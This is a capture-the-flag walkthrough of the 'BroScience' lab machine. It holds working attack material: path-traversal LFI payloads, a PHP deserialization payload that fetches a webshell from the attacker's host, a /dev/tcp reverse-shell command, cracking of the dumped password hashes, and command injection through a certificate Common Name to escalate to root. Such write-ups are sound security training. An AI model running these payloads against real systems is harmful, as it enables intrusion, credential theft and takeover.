BroScience

Enumeration

  • nmap
└─$ nmap -Pn -p- 10.10.11.195 --min-rate 1000                                                                                                        
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 20:07 GMT
Warning: 10.10.11.195 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.195 (10.10.11.195)
Host is up (0.17s latency).
Not shown: 65488 closed tcp ports (conn-refused), 44 filtered tcp ports (no-response)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 79.36 seconds
└─$ nmap -Pn -p22,80,443 -sC -sV 10.10.11.195 --min-rate 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-12 20:09 GMT
Nmap scan report for 10.10.11.195 (10.10.11.195)
Host is up (0.23s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_  256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
|_http-server-header: Apache/2.4.54 (Debian)
|_ssl-date: TLS randomness does not represent time
|_http-title: BroScience : Home
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.41 seconds
  • Web Server

  • feroxbuster
└─$ feroxbuster -u https://broscience.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt -t 50 -k --depth 2

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ https://broscience.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-words-lowercase.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 2
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      280c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       28w      321c https://broscience.htb/includes => https://broscience.htb/includes/
301      GET        9l       28w      319c https://broscience.htb/images => https://broscience.htb/images/
200      GET        3l        7w       44c https://broscience.htb/styles/light.css
200      GET       29l       70w     1309c https://broscience.htb/user.php
200      GET       28l       71w     1322c https://broscience.htb/exercise.php
200      GET        1l        4w       39c https://broscience.htb/includes/img.php
200      GET       42l       97w     1936c https://broscience.htb/login.php
200      GET      147l      510w     9295c https://broscience.htb/
200      GET        0l        0w        0c https://broscience.htb/includes/utils.php
200      GET      220l     1542w   123552c https://broscience.htb/images/reverse_butterfly.jpeg
200      GET      122l      678w    56054c https://broscience.htb/images/bench.png
500      GET        2l        4w       65c https://broscience.htb/includes/navbar.php
200      GET        5l       14w      369c https://broscience.htb/includes/header.php
200      GET        0l        0w        0c https://broscience.htb/includes/db_connect.php
301      GET        9l       28w      319c https://broscience.htb/styles => https://broscience.htb/styles/
200      GET        3l        7w       41c https://broscience.htb/styles/dark.css
200      GET      161l     1002w    83700c https://broscience.htb/images/seated_rows.png
301      GET        9l       28w      323c https://broscience.htb/javascript => https://broscience.htb/javascript/
200      GET      383l     2045w   205698c https://broscience.htb/images/barbell_squats.jpeg
200      GET        0l        0w   598012c https://broscience.htb/images/shoulder_press.jpeg
200      GET        0l        0w  1011236c https://broscience.htb/images/deadlift.png
200      GET        0l        0w   326860c https://broscience.htb/images/dumbell_curls.jpeg
200      GET        0l        0w   297898c https://broscience.htb/images/tricep_extensions.jpeg
301      GET        9l       28w      319c https://broscience.htb/manual => https://broscience.htb/manual/
301      GET        9l       28w      326c https://broscience.htb/manual/images => https://broscience.htb/manual/images/
301      GET        9l       28w      322c https://broscience.htb/manual/en => https://broscience.htb/manual/en/
301      GET        9l       28w      325c https://broscience.htb/manual/style => https://broscience.htb/manual/style/
301      GET        9l       28w      322c https://broscience.htb/manual/de => https://broscience.htb/manual/de/
301      GET        9l       28w      322c https://broscience.htb/manual/fr => https://broscience.htb/manual/fr/
301      GET        9l       28w      322c https://broscience.htb/manual/es => https://broscience.htb/manual/es/
301      GET        9l       28w      322c https://broscience.htb/manual/ru => https://broscience.htb/manual/ru/
200      GET      129l      566w    10124c https://broscience.htb/manual/ja/index.html
200      GET      127l      643w    10996c https://broscience.htb/manual/ru/index.html
200      GET      118l      578w     9683c https://broscience.htb/manual/ko/index.html
200      GET      130l      623w     9843c https://broscience.htb/manual/de/index.html
200      GET      127l      637w     9903c https://broscience.htb/manual/tr/index.html
200      GET      129l      701w    10325c https://broscience.htb/manual/es/index.html
200      GET      123l      648w     9828c https://broscience.htb/manual/pt-br/index.html
200      GET      130l      683w    10033c https://broscience.htb/manual/fr/index.html
200      GET      127l      636w     9666c https://broscience.htb/manual/en/index.html
200      GET      121l      605w     9416c https://broscience.htb/manual/da/index.html
200      GET      124l      553w     9400c https://broscience.htb/manual/zh-cn/index.html
200      GET       14l       28w      676c https://broscience.htb/manual/
301      GET        9l       28w      322c https://broscience.htb/manual/ja => https://broscience.htb/manual/ja/
301      GET        9l       28w      322c https://broscience.htb/manual/tr => https://broscience.htb/manual/tr/
301      GET        9l       28w      322c https://broscience.htb/manual/da => https://broscience.htb/manual/da/
301      GET        9l       28w      322c https://broscience.htb/manual/ko => https://broscience.htb/manual/ko/
301      GET        9l       28w      325c https://broscience.htb/manual/zh-cn => https://broscience.htb/manual/zh-cn/
[####################] - 71s   168946/168946  0s      found:48      errors:151508 
[####################] - 61s    56294/56294   919/s   https://broscience.htb/ 
[####################] - 2s     56294/56294   35765/s https://broscience.htb/includes/ => Directory listing
[####################] - 8s     56294/56294   7381/s  https://broscience.htb/images/ => Directory listing
[####################] - 1s     56294/56294   68235/s https://broscience.htb/styles/ => Directory listing
[####################] - 56s    56294/56294   1011/s  https://broscience.htb/javascript/ 
[####################] - 51s    56294/56294   1107/s  https://broscience.htb/manual/   
└─$ gobuster dir -u https://broscience.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -x php -t 50 --no-error -k

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     https://broscience.htb/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/register.php         (Status: 200) [Size: 2161]
/.php                 (Status: 403) [Size: 280]
/images               (Status: 301) [Size: 319] [--> https://broscience.htb/images/]
/includes             (Status: 301) [Size: 321] [--> https://broscience.htb/includes/]
/.html                (Status: 403) [Size: 280]
/index.php            (Status: 200) [Size: 9295]
/.html.php            (Status: 403) [Size: 280]
/login.php            (Status: 200) [Size: 1936]
/user.php             (Status: 200) [Size: 1309]
/.htm.php             (Status: 403) [Size: 280]
/.htm                 (Status: 403) [Size: 280]
/logout.php           (Status: 302) [Size: 0] [--> /index.php]
/comment.php          (Status: 302) [Size: 13] [--> /login.php]
/styles               (Status: 301) [Size: 319] [--> https://broscience.htb/styles/]
/javascript           (Status: 301) [Size: 323] [--> https://broscience.htb/javascript/]
/.                    (Status: 200) [Size: 9295]
/manual               (Status: 301) [Size: 319] [--> https://broscience.htb/manual/]
/.htaccess.php        (Status: 403) [Size: 280]
/.htaccess            (Status: 403) [Size: 280]
/activate.php         (Status: 200) [Size: 1256]
/.phtml               (Status: 403) [Size: 280]
  • Nothing on vhosts

Foothold

  • https://broscience.htb/includes/img.php?path=<FILE> looks interesting
    • If we enter /etc/passwd it returns attack detected

└─$ wfuzz -u 'https://broscience.htb/includes/img.php?path=FUZZ' -w ./dotdotpwn.txt --hh 30,0                 
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://broscience.htb/includes/img.php?path=FUZZ
Total requests: 21144

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                    
=====================================================================

000000165:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000166:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000162:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252f..%252fetc%252fissue"
000000161:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252f..%252fetc%252fpasswd"
000000158:   200        2 L      5 W        27 Ch       "..%252f..%252f..%252f..%252fetc%252fissue"
000000157:   200        39 L     64 W       2235 Ch     "..%252f..%252f..%252f..%252fetc%252fpasswd"
  • We have lfi
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
tss:x:103:109:TPM software stack,,,:/var/lib/tpm:/bin/false
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:105:111:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:106:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:107:115:RealtimeKit,,,:/proc:/usr/sbin/nologin
sshd:x:108:65534::/run/sshd:/usr/sbin/nologin
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
avahi:x:110:116:Avahi mDNS daemon,,,:/run/avahi-daemon:/usr/sbin/nologin
speech-dispatcher:x:111:29:Speech Dispatcher,,,:/run/speech-dispatcher:/bin/false
pulse:x:112:118:PulseAudio daemon,,,:/run/pulse:/usr/sbin/nologin
saned:x:113:121::/var/lib/saned:/usr/sbin/nologin
colord:x:114:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:115:123::/var/lib/geoclue:/usr/sbin/nologin
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
bill:x:1000:1000:bill,,,:/home/bill:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
postgres:x:117:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
_laurel:x:998:998::/var/log/laurel:/bin/false
  • Let’s try reading source code
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252findex.php                                        
<?php
session_start();
?>

<html>
    <head>
        <title>BroScience : Home</title>
        <?php 
        include_once 'includes/header.php';
        include_once 'includes/utils.php';
        $theme = get_theme();
        ?>
        <link rel="stylesheet" href="styles/<?=$theme?>.css">
    </head>
    <body class="<?=get_theme_class($theme)?>">
        <?php include_once 'includes/navbar.php'; ?>
        <div class="uk-container uk-margin">
            <!-- TODO: Search bar -->
            <?php
            include_once 'includes/db_connect.php';
<SNIP>
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252fincludes%252fdb_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>      
  • utils.php looks interesting, since it has unserialize part
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252fincludes%252futils.php     
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

<SNIP>    

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>                                 
  • We could potentially exploit $up = unserialize(base64_decode($up_cookie));
    • But for that cookie we need a session
    • We also have __wakeup() in AvatarInterface class
      • It’s a magic method
      • Conversely, unserialize() checks for the presence of a function with the magic name __wakeup(). If present, this function can reconstruct any resources that the object may have.
    • So if we can make backend unserialize AvatarInterface, it will run __wakeup, which will run the save function
    • But we need a session, for that we need to register
      • utils.php has generate_activation_code function which generates activation code and sends for confirmation
    • Let’s create a user and intercept the request in Burp
      • We need a time of the request since generate_activation_code uses it as seed for srand function

  • We will modify the code to generate a list of possible codes
<?php
function generate_activation_code($t) {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand($t);
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

$time = strtotime("Mon, 13 Nov 2023 17:23:37 GMT");
for ($t = $time - 30; $t <= $time + 30; $t++) {
    echo generate_activation_code($t) . "\n";
}

?>
└─$ php generate_activation_code.php 
3duOCMkMOk9046OpNNfupjyxG4CjqhZM
itjeMWZooHwDKHrLtWckPHMldxIxVZOM
zQqG2gR48h8xkQlpOB6uwr2TBGTgiC9p
qBV5YfxaIDa2A6Fq8HyaxNhbJEmVipQa
UsqBNbewBGbu7oT0UKaAixvFu0F5iZyw
WM2JPSNqPxz3QtriuXxmqYfpGKqYgDRU
mS2I8RKBaNOzXVTqBuHriuwyY8fC9kYZ
1jzgUHbjlui0X8MKwmj78FVxAd28NeuQ
lewE4eIK8FRoc4TF3g1ZrsEUywBoAGX0
4iCUOrzJVI3wcmv8Fp8Jy8pRRJpR0NSG
jsBgzPkf0LgvqBKem8HgZ1PiPE7nDzoX
k7rbDj8ROdigIkJ9zreirqYtKHkdtTGZ
M5R9gKA4p7uj4AgblR2fRlEmTJ4qtY7y
QLKg7Tj6Y8NEEf2pH0ujhDCQzbUdvkCc
ECEzN4LLJ076UDG3wMtktEOC41TNDV5X
VYwEswdIB54hkogCgzcCOdD3tMbhJTWD
FhZhwk8PrGEqiUT4y0gaKGuNKPwkb0Iq
f26LHeIDtIjFaYhxde8mLYQPbdVvIQ98
ZEfnBtJf6S0sfgwfmixYsWXajih4LC6o
YJ1R5Z4L1w0kaKmBdnHsOxItbaZGyMfS
bU1srndgFiZkXTFlNNo7mvwirvWub3eh
<SNIP>
  • The endpoint we have to visit is activate.php?code=<CODE>
└─$ curl -k https://broscience.htb/includes/img.php?path=..%252factivate.php               
<?php
session_start();

// Check if user is logged in already
if (isset($_SESSION['id'])) {
    header('Location: /index.php');
}

if (isset($_GET['code'])) {
    // Check if code is formatted correctly (regex)
    if (preg_match('/^[A-z0-9]{32}$/', $_GET['code'])) {
        // Check for code in database
        include_once 'includes/db_connect.php';
<SNIP>

  • Now, we have our session
└─$ echo 'Tzo5OiJVc2VyUHJlZnMiOjE6e3M6NToidGhlbWUiO3M6NToibGlnaHQiO30=' | base64 -d
O:9:"UserPrefs":1:{s:5:"theme";s:5:"light";} 
  • Script the generate a payload
    • deserialize will call __wakeup
      • Which will create a new Avatar and call it’s save function
      • Whice will save the content of the tmp to imgPath
      • So my server will host tmp file with webshell
      • It
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}
 
class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
 

$a = new AvatarInterface();
$a->tmp = "http://10.10.16.4/shell.php";
$a->imgPath = "./shell.php";
echo base64_encode(serialize($a)) . "\n";
?>
  • Generate a payload
└─$ php broscience_payload.php                                                                                                    
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czoyNzoiaHR0cDovLzEwLjEwLjE2LjQvc2hlbGwucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTE6Ii4vc2hlbGwucGhwIjt9
  • Now change the user-prefs cookie and refresh the page
    • My server receives the connection
    • Check the webshell
      • It works

  • Get reverse shell
└─$ curl https://broscience.htb/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.16.4/6666%200%3E%261%27

User

  • We can’t access bill’s directory
    • Let’s check database, since we had credentials from LFI
www-data@broscience:/var/www$ psql -U dbuser -d broscience -h localhost
Password for user dbuser: 
psql (13.9 (Debian 13.9-0+deb11u1))
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

broscience=> \list
                                  List of databases
    Name    |  Owner   | Encoding |   Collate   |    Ctype    |   Access privileges   
------------+----------+----------+-------------+-------------+-----------------------
 broscience | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 postgres   | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | 
 template0  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
 template1  | postgres | UTF8     | en_US.UTF-8 | en_US.UTF-8 | =c/postgres          +
            |          |          |             |             | postgres=CTc/postgres
(4 rows)

broscience=> \d
                List of relations
 Schema |       Name       |   Type   |  Owner   
--------+------------------+----------+----------
 public | comments         | table    | postgres
 public | comments_id_seq  | sequence | postgres
 public | exercises        | table    | postgres
 public | exercises_id_seq | sequence | postgres
 public | users            | table    | postgres
 public | users_id_seq     | sequence | postgres
(6 rows)

broscience=> select * from users;
 id |   username    |             password             |            email             |         activation_code          | is_activated | is_admin |         date_created          
----+---------------+----------------------------------+------------------------------+----------------------------------+--------------+----------+-------------------------------
  1 | administrator | 15657792073e8a843d4f91fc403454e1 | administrator@broscience.htb | OjYUyL9R4NpM9LOFP0T4Q4NUQ9PNpLHf | t            | t        | 2019-03-07 02:02:22.226763-05
  2 | bill          | 13edad4932da9dbb57d9cd15b66ed104 | bill@broscience.htb          | WLHPyj7NDRx10BYHRJPPgnRAYlMPTkp4 | t            | f        | 2019-05-07 03:34:44.127644-04
  3 | michael       | bd3dad50e2d578ecba87d5fa15ca5f85 | michael@broscience.htb       | zgXkcmKip9J5MwJjt8SZt5datKVri9n3 | t            | f        | 2020-10-01 04:12:34.732872-04
  4 | john          | a7eed23a7be6fe0d765197b1027453fe | john@broscience.htb          | oGKsaSbjocXb3jwmnx5CmQLEjwZwESt6 | t            | f        | 2021-09-21 11:45:53.118482-04
  5 | dmytro        | 5d15340bded5b9395d5d14b9c21bc82b | dmytro@broscience.htb        | 43p9iHX6cWjr9YhaUNtWxEBNtpneNMYm | t            | f        | 2021-08-13 10:34:36.226763-04
(5 rows)
  • I wasn’t able to crack the hash because it was salted
    • If we check db_connect.php we have an entry $db_salt = "NaCl"
    • If we check the register.php, we could see that hash is generated as md5($db_salt . $_POST['password'])
      • Copy hashes from db using select username || ':' || password || ':NaCl' from users;
broscience=> select username || ':' || password || ':NaCl' from users;
                      ?column?                       
-----------------------------------------------------
 administrator:15657792073e8a843d4f91fc403454e1:NaCl
 bill:13edad4932da9dbb57d9cd15b66ed104:NaCl
 michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl
 john:a7eed23a7be6fe0d765197b1027453fe:NaCl
 dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl
(5 rows)
└─$ hashcat -m 20 hash /usr/share/wordlists/rockyou.txt --user
hashcat (v6.2.6) starting
<SNIP>
13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym    
5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest     
bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples 
└─$ hashcat -m 20 hash /usr/share/wordlists/rockyou.txt --user --show
 bill:13edad4932da9dbb57d9cd15b66ed104:NaCl:iluvhorsesandgym
 michael:bd3dad50e2d578ecba87d5fa15ca5f85:NaCl:2applesplus2apples
 dmytro:5d15340bded5b9395d5d14b9c21bc82b:NaCl:Aaronthehottest
  • Now we can su
www-data@broscience:/var/www$ su - bill
Password: 
bill@broscience:~$ 

Root

  • No sudo rights
    • Let’s upload pspy
    • We see a cron job

  • Content of the script
bill@broscience:/tmp$ cat /opt/renew_cert.sh
#!/bin/bash

if [ "$#" -ne 1 ] || [ $1 == "-h" ] || [ $1 == "--help" ] || [ $1 == "help" ]; then
    echo "Usage: $0 certificate.crt";
    exit 0;
fi

if [ -f $1 ]; then

    openssl x509 -in $1 -noout -checkend 86400 > /dev/null

    if [ $? -eq 0 ]; then
        echo "No need to renew yet.";
        exit 1;
    fi

    subject=$(openssl x509 -in $1 -noout -subject | cut -d "=" -f2-)

    country=$(echo $subject | grep -Eo 'C = .{2}')
    state=$(echo $subject | grep -Eo 'ST = .*,')
    locality=$(echo $subject | grep -Eo 'L = .*,')
    organization=$(echo $subject | grep -Eo 'O = .*,')
    organizationUnit=$(echo $subject | grep -Eo 'OU = .*,')
    commonName=$(echo $subject | grep -Eo 'CN = .*,?')
    emailAddress=$(openssl x509 -in $1 -noout -email)

    country=${country:4}
    state=$(echo ${state:5} | awk -F, '{print $1}')
    locality=$(echo ${locality:3} | awk -F, '{print $1}')
    organization=$(echo ${organization:4} | awk -F, '{print $1}')
    organizationUnit=$(echo ${organizationUnit:5} | awk -F, '{print $1}')
    commonName=$(echo ${commonName:5} | awk -F, '{print $1}')

    echo $subject;
    echo "";
    echo "Country     => $country";
    echo "State       => $state";
    echo "Locality    => $locality";
    echo "Org Name    => $organization";
    echo "Org Unit    => $organizationUnit";
    echo "Common Name => $commonName";
    echo "Email       => $emailAddress";

    echo -e "\nGenerating certificate...";
    openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out /tmp/temp.crt -days 365 <<<"$country
    $state
    $locality
    $organization
    $organizationUnit
    $commonName
    $emailAddress
    " 2>/dev/null

    /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt"
else
    echo "File doesn't exist"
    exit 1;
  • /bin/bash -c "mv /tmp/temp.crt /home/bill/Certs/$commonName.crt" uses $commonName
    • Which is set 2 times:
      • commonName=$(echo $subject | grep -Eo 'CN = .*,?') - regex
      • commonName=$(echo ${commonName:5} | awk -F, '{print $1}') -
    • We can try to generate a certificate and set commandName with command we want to execute
      • cp /bin/bash /tmp/pwn; chmod 4755 /tmp/pwn
    • We also have to bypass the check openssl x509 -in $1 -noout -checkend 86400, which check if certificate expires within 1 day
bill@broscience:~$ openssl req -x509 -sha256 -nodes -newkey rsa:4096 -keyout /tmp/temp.key -out Certs/broscience.crt -days 1
Generating a RSA private key
..............................++++
........................................................................++++
writing new private key to '/tmp/temp.key'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:$(chmod 4777 /bin/bash)
Email Address []:
  • After few minutes we have root
bill@broscience:~$ ls -lha /bin/bash
-rwsrwxrwx 1 root root 1.2M Mar 27  2022 /bin/bash
bill@broscience:~$ /bin/bash -p
bash-5.1# whoami
root